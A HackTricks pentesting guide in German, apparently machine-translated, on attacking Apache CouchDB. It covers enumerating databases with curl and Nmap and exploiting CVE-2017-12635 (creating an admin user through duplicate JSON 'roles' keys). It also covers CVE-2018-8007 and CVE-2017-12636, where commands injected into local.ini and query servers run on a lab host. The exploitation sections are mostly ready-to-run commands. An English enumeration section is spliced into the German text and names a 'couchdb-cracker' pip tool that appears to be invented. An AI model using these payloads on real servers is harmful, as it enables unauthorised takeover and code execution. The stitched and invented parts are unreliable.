hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
2024-02-10 15:36:32 +00:00

26 KiB

5984,6984 - Pentesting CouchDB

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

CouchDB ist eine vielseitige und leistungsstarke dokumentenorientierte Datenbank, die Daten mithilfe einer Schlüssel-Wert-Zuordnung innerhalb jedes Dokuments organisiert. Felder innerhalb des Dokuments können als Schlüssel/Wert-Paare, Listen oder Maps dargestellt werden, was Flexibilität bei der Speicherung und Abfrage von Daten ermöglicht.

Jedes in CouchDB gespeicherte Dokument erhält auf Dokumentenebene eine eindeutige Kennung (_id). Darüber hinaus wird jeder vorgenommene und in der Datenbank gespeicherte Änderung eine Revisionsnummer (_rev) zugewiesen. Diese Revisionsnummer ermöglicht eine effiziente Verfolgung und Verwaltung von Änderungen, erleichtert das einfache Abrufen und Synchronisieren von Daten in der Datenbank.

Standardport: 5984 (http), 6984 (https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Automatische Enumeration

Automatic enumeration is a crucial step in the process of pentesting CouchDB. It involves gathering information about the target system without any manual intervention. This can be done using various tools and techniques.

1. Nmap

Nmap is a powerful network scanning tool that can be used to discover open ports and services running on a target system. To scan for CouchDB, you can use the following command:

nmap -p 5984 <target_ip>

2. Curl

Curl is a command-line tool that allows you to make HTTP requests. You can use it to interact with the CouchDB API and gather information about the databases and documents present on the target system. Here are a few examples of curl commands that can be used for enumeration:

  • To list all databases:
curl -X GET http://<target_ip>:5984/_all_dbs
  • To retrieve information about a specific database:
curl -X GET http://<target_ip>:5984/<database_name>
  • To retrieve a specific document from a database:
curl -X GET http://<target_ip>:5984/<database_name>/<document_id>

3. Fauxton

Fauxton is the web-based administration interface for CouchDB. It provides a graphical user interface that allows you to manage and interact with CouchDB instances. By accessing Fauxton on the target system, you can gather information about the databases, documents, and users present on the CouchDB instance.

To access Fauxton, open a web browser and navigate to http://<target_ip>:5984/_utils.

4. Metasploit

Metasploit is a popular penetration testing framework that includes a wide range of tools and modules for various tasks. It also provides modules for CouchDB enumeration. You can use the couchdb_enum module in Metasploit to automatically enumerate databases and documents on a CouchDB instance.

To use the couchdb_enum module, open Metasploit and run the following commands:

use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <target_ip>
run

These are some of the tools and techniques that can be used for automatic enumeration of CouchDB during a pentesting engagement. By gathering information about the target system, you can gain valuable insights that can be used for further exploitation and vulnerability assessment.

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Banner

Der Banner ist eine Information, die vom CouchDB-Server zurückgegeben wird, wenn eine Verbindung hergestellt wird. Es enthält Informationen wie die Version der CouchDB-Software und andere Details, die für einen Angreifer nützlich sein können. Um den Banner zu erhalten, kann das Tool curl verwendet werden:

curl -X GET http://<IP>:<Port>/

Datenbanken auflisten

Um die vorhandenen Datenbanken auf dem CouchDB-Server aufzulisten, kann die folgende Anfrage verwendet werden:

curl -X GET http://<IP>:<Port>/_all_dbs

Dokumente in einer Datenbank auflisten

Um die Dokumente in einer bestimmten Datenbank aufzulisten, kann die folgende Anfrage verwendet werden:

curl -X GET http://<IP>:<Port>/<Database_Name>/_all_docs

Dokumente abrufen

Um ein bestimmtes Dokument aus einer Datenbank abzurufen, kann die folgende Anfrage verwendet werden:

curl -X GET http://<IP>:<Port>/<Database_Name>/<Document_ID>

Ansichten abrufen

Um die Ansichten einer Datenbank abzurufen, kann die folgende Anfrage verwendet werden:

curl -X GET http://<IP>:<Port>/<Database_Name>/_design/<Design_Document_Name>/_view/<View_Name>

Fehlende Berechtigungen überprüfen

Um zu überprüfen, ob ein Benutzer auf eine bestimmte Datenbank zugreifen kann, kann die folgende Anfrage verwendet werden:

curl -X GET http://<IP>:<Port>/<Database_Name> -u <Username>:<Password>

Wenn der Benutzer keine Berechtigung hat, wird eine Fehlermeldung zurückgegeben.

Schwache Passwörter überprüfen

Um schwache Passwörter auf dem CouchDB-Server zu überprüfen, kann das Tool couchdb-cracker verwendet werden. Es kann mit dem folgenden Befehl installiert werden:

pip install couchdb-cracker

Nach der Installation kann das Tool wie folgt verwendet werden:

couchdb-cracker -u http://<IP>:<Port> -w <Wordlist_Path>

Das Tool versucht, sich mit den Benutzernamen "admin" und "root" und den Passwörtern aus der angegebenen Wortliste anzumelden.

curl http://IP:5984/

Dies sendet eine GET-Anfrage an eine installierte CouchDB-Instanz. Die Antwort sollte einer der folgenden ähnlich sehen:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} Beachten Sie, dass beim Zugriff auf die Wurzel von CouchDB eine 401 Unauthorized-Fehlermeldung mit einer Meldung wie dieser angezeigt wird: {"error":"unauthorized","reason":"Authentication required."} Sie können nicht auf das Banner oder einen anderen Endpunkt zugreifen. {% endhint %}

Info Enumeration

Dies sind die Endpunkte, auf die Sie mit einer GET-Anfrage zugreifen und einige interessante Informationen extrahieren können. Sie können weitere Endpunkte und detailliertere Beschreibungen in der CouchDB-Dokumentation finden.

  • /_active_tasks Liste der laufenden Aufgaben, einschließlich des Aufgabentyps, des Namens, des Status und der Prozess-ID.
  • /_all_dbs Gibt eine Liste aller Datenbanken in der CouchDB-Instanz zurück.
  • /_cluster_setup Gibt den Status des Knotens oder Clusters gemäß dem Cluster-Setup-Assistenten zurück.
  • /_db_updates Gibt eine Liste aller Datenbankereignisse in der CouchDB-Instanz zurück. Das Vorhandensein der Datenbank _global_changes ist erforderlich, um diesen Endpunkt zu verwenden.
  • /_membership Zeigt die Knoten an, die Teil des Clusters sind, als cluster_nodes. Das Feld all_nodes zeigt alle Knoten an, die dieser Knoten kennt, einschließlich derjenigen, die Teil des Clusters sind.
  • /_scheduler/jobs Liste der Replikationsaufträge. Jede Auftragsbeschreibung enthält Informationen über Quelle und Ziel, Replikations-ID, eine Historie der letzten Ereignisse und einige andere Dinge.
  • /_scheduler/docs Liste der Replikationsdokumentzustände. Enthält Informationen zu allen Dokumenten, auch in den Zuständen completed und failed. Für jedes Dokument werden die Dokument-ID, die Datenbank, die Replikations-ID, Quelle und Ziel sowie andere Informationen zurückgegeben.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} Der Endpunkt /_node/{node-name} kann verwendet werden, um den Erlang-Knotennamen des Servers zu bestätigen, der die Anfrage verarbeitet. Dies ist besonders nützlich, wenn Sie auf /_node/_local zugreifen, um diese Informationen abzurufen.
  • /_node/{node-name}/_stats Die Ressource _stats gibt ein JSON-Objekt zurück, das die Statistiken für den laufenden Server enthält. Der Literalstring _local dient als Alias für den lokalen Knotennamen. Daher kann für alle Statistik-URLs {node-name} durch _local ersetzt werden, um mit den Statistiken des lokalen Knotens zu interagieren.
  • /_node/{node-name}/_system Die Ressource _system gibt ein JSON-Objekt zurück, das verschiedene systemweite Statistiken für den laufenden Server enthält. Sie können _local als {node-name} verwenden, um Informationen zum aktuellen Knoten zu erhalten.
  • /_node/{node-name}/_restart
  • /_up Bestätigt, dass der Server aktiv, ausgeführt und bereit ist, auf Anfragen zu antworten. Wenn maintenance_mode auf true oder nolb gesetzt ist, gibt der Endpunkt eine 404-Fehlermeldung zurück.
  • /_uuids Fordert eine oder mehrere universell eindeutige Bezeichner (UUIDs) von der CouchDB-Instanz an.
  • /_reshard Gibt eine Anzahl abgeschlossener, fehlgeschlagener, laufender, gestoppter und insgesamt ausgeführter Jobs sowie den Zustand des Resharding im Cluster zurück.

Weitere interessante Informationen können wie hier erklärt extrahiert werden: https://lzone.de/cheat-sheet/CouchDB

Datenbankliste

curl -X GET http://IP:5984/_all_dbs

Wenn diese Anfrage mit einem 401 unauthorised antwortet, benötigen Sie gültige Anmeldeinformationen, um auf die Datenbank zuzugreifen:

curl -X GET http://user:password@IP:5984/_all_dbs

Um gültige Anmeldeinformationen zu finden, könnten Sie versuchen, den Dienst zu brute-forcen.

Dies ist ein Beispiel für eine CouchDB-Antwort, wenn Sie ausreichende Berechtigungen haben, um Datenbanken aufzulisten (Es handelt sich nur um eine Liste von Datenbanken):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Datenbankinformationen

Sie können einige Informationen zur Datenbank (wie Anzahl der Dateien und Größen) abrufen, indem Sie auf den Datenbanknamen zugreifen:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Dokumentenliste

Liste jede Eintragung innerhalb einer Datenbank auf.

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Dokument lesen

Lesen Sie den Inhalt eines Dokuments in einer Datenbank:

GET /<database>/<document_id>
import requests

url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
response = requests.get(url)
print(response.text)
const axios = require('axios');

const url = 'http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>';
axios.get(url)
  .then(response => {
    console.log(response.data);
  })
  .catch(error => {
    console.error(error);
  });
require 'net/http'

url = URI.parse("http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>")
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Get.new(url.path)
response = http.request(request)
puts response.body
Invoke-RestMethod -Method GET -Uri "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
<?php

$url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>";
$response = file_get_contents($url);
echo $response;

?>
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class Main {
    public static void main(String[] args) {
        try {
            URL url = new URL("http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>");
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
            String line;
            StringBuilder result = new StringBuilder();
            while ((line = rd.readLine()) != null) {
                result.append(line);
            }
            rd.close();
            System.out.println(result.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
using System;
using System.Net;

class Program
{
    static void Main()
    {
        using (WebClient client = new WebClient())
        {
            string url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>";
            string response = client.DownloadString(url);
            Console.WriteLine(response);
        }
    }
}
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	url := "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
	resp, err := http.Get(url)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println(string(body))
}
Invoke-WebRequest -Method GET -Uri "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
curl -X GET "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Privilege Escalation CVE-2017-12635

Dank der Unterschiede zwischen den Erlang- und JavaScript-JSON-Parsern können Sie mit folgendem Befehl einen Administrator-Benutzer mit den Anmeldeinformationen hacktricks:hacktricks erstellen:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Weitere Informationen zu dieser Schwachstelle finden Sie hier.

CouchDB RCE

Beispiel von hier.

In der CouchDB-Dokumentation, speziell im Abschnitt zur Cluster-Einrichtung (Link), wird die Verwendung von Ports durch CouchDB im Cluster-Modus diskutiert. Es wird erwähnt, dass, wie im Standalone-Modus, Port 5984 verwendet wird. Zusätzlich wird Port 5986 für node-lokale APIs verwendet und wichtig ist, dass Erlang TCP-Port 4369 für den Erlang Port Mapper Daemon (EPMD) benötigt, der die Kommunikation zwischen den Knoten in einem Erlang-Cluster ermöglicht. Diese Einrichtung bildet ein Netzwerk, in dem jeder Knoten mit jedem anderen Knoten verbunden ist.

Ein wichtiger Sicherheitshinweis betrifft Port 4369. Wenn dieser Port über das Internet oder ein ungesichertes Netzwerk zugänglich gemacht wird, hängt die Sicherheit des Systems stark von einem eindeutigen Identifikator ab, der als "Cookie" bezeichnet wird. Dieser Cookie dient als Schutzmaßnahme. Zum Beispiel könnte in einer gegebenen Prozessliste der Cookie mit dem Namen "monster" beobachtet werden, was auf seine operative Rolle im Sicherheitsframework des Systems hinweist.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Für diejenigen, die verstehen möchten, wie dieses "Cookie" für Remote Code Execution (RCE) im Kontext von Erlang-Systemen ausgenutzt werden kann, steht ein eigener Abschnitt für weitere Informationen zur Verfügung. Dort werden die Methoden zur unbefugten Nutzung von Erlang-Cookies zur Übernahme der Kontrolle über Systeme detailliert beschrieben. Sie können hier den detaillierten Leitfaden zur Ausnutzung von Erlang-Cookies für RCE erkunden.

Ausnutzung von CVE-2018-8007 durch Änderung der local.ini

Beispiel von hier.

Eine kürzlich bekannt gegebene Schwachstelle, CVE-2018-8007, die Apache CouchDB betrifft, wurde untersucht und dabei festgestellt, dass für die Ausnutzung Schreibberechtigungen für die local.ini-Datei erforderlich sind. Obwohl dies aufgrund von Sicherheitsbeschränkungen nicht direkt auf das anfängliche Zielsystem anwendbar ist, wurden Änderungen vorgenommen, um Schreibzugriff auf die local.ini-Datei zu gewähren, um den Prozess zu erkunden. Detaillierte Schritte und Codebeispiele werden unten bereitgestellt, um den Vorgang zu veranschaulichen.

Zunächst wird die Umgebung vorbereitet, indem sichergestellt wird, dass die local.ini-Datei beschreibbar ist. Dies wird überprüft, indem die Berechtigungen aufgelistet werden:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Um die Schwachstelle auszunutzen, wird ein Curl-Befehl ausgeführt, der auf die cors/origins-Konfiguration in local.ini abzielt. Dadurch wird ein neuer Ursprung zusammen mit zusätzlichen Befehlen unter dem Abschnitt [os_daemons] eingefügt, um beliebigen Code auszuführen:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Nachfolgende Überprüfung zeigt die injizierte Konfiguration in local.ini, indem sie sie mit einem Backup vergleicht, um die Änderungen hervorzuheben:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Zunächst existiert die erwartete Datei (/tmp/0xdf) nicht, was darauf hinweist, dass der injizierte Befehl noch nicht ausgeführt wurde. Weitere Untersuchungen zeigen, dass Prozesse im Zusammenhang mit CouchDB ausgeführt werden, darunter einer, der potenziell den injizierten Befehl ausführen könnte:

root@canape:/home/homer/bin# ps aux | grep couch

Durch Beenden des identifizierten CouchDB-Prozesses und Zulassen des automatischen Neustarts wird die Ausführung des injizierten Befehls ausgelöst, wie durch das Vorhandensein der zuvor fehlenden Datei bestätigt wird:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Diese Untersuchung bestätigt die Durchführbarkeit der Ausnutzung von CVE-2018-8007 unter bestimmten Bedingungen, insbesondere der Notwendigkeit eines beschreibbaren Zugriffs auf die Datei local.ini. Die bereitgestellten Codebeispiele und Verfahrensschritte bieten eine klare Anleitung zur Reproduktion des Exploits in einer kontrollierten Umgebung.

Für weitere Details zu CVE-2018-8007 siehe den Bericht von mdsec: CVE-2018-8007.

Erkundung von CVE-2017-12636 mit Schreibberechtigungen auf local.ini

Beispiel von hier.

Es wurde eine Schwachstelle namens CVE-2017-12636 untersucht, die die Ausführung von Code über den CouchDB-Prozess ermöglicht, obwohl bestimmte Konfigurationen ihre Ausnutzung verhindern können. Trotz zahlreicher verfügbarer Proof-of-Concept (POC)-Referenzen sind Anpassungen erforderlich, um die Schwachstelle in CouchDB Version 2 auszunutzen, die sich von der üblicherweise angegriffenen Version 1.x unterscheidet. Die ersten Schritte bestehen darin, die CouchDB-Version zu überprüfen und das Fehlen des erwarteten Query-Server-Pfads zu bestätigen:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Um CouchDB Version 2.0 anzupassen, wird ein neuer Pfad verwendet:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Versuche, einen neuen Abfrage-Server hinzuzufügen und aufzurufen, führten zu Berechtigungsfehlern, wie aus der folgenden Ausgabe hervorgeht:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Weitere Untersuchungen ergaben Berechtigungsprobleme mit der local.ini-Datei, die nicht beschreibbar war. Durch Ändern der Dateiberechtigungen mit Root- oder Homer-Zugriff wurde es möglich, fortzufahren:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Nachfolgende Versuche, den Abfrageserver hinzuzufügen, waren erfolgreich, wie durch das Fehlen von Fehlermeldungen in der Antwort gezeigt wurde. Die erfolgreiche Änderung der local.ini-Datei wurde durch den Dateivergleich bestätigt:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Der Prozess wurde fortgesetzt mit der Erstellung einer Datenbank und eines Dokuments, gefolgt von dem Versuch, Code über eine benutzerdefinierte Ansicht auszuführen, die auf den neu hinzugefügten Abfrageserver abgebildet ist:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Eine Zusammenfassung mit einer alternativen Nutzlast bietet weitere Einblicke in die Ausnutzung von CVE-2017-12636 unter bestimmten Bedingungen. Nützliche Ressourcen zur Ausnutzung dieser Schwachstelle sind:

Shodan

  • port:5984 couchdb

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: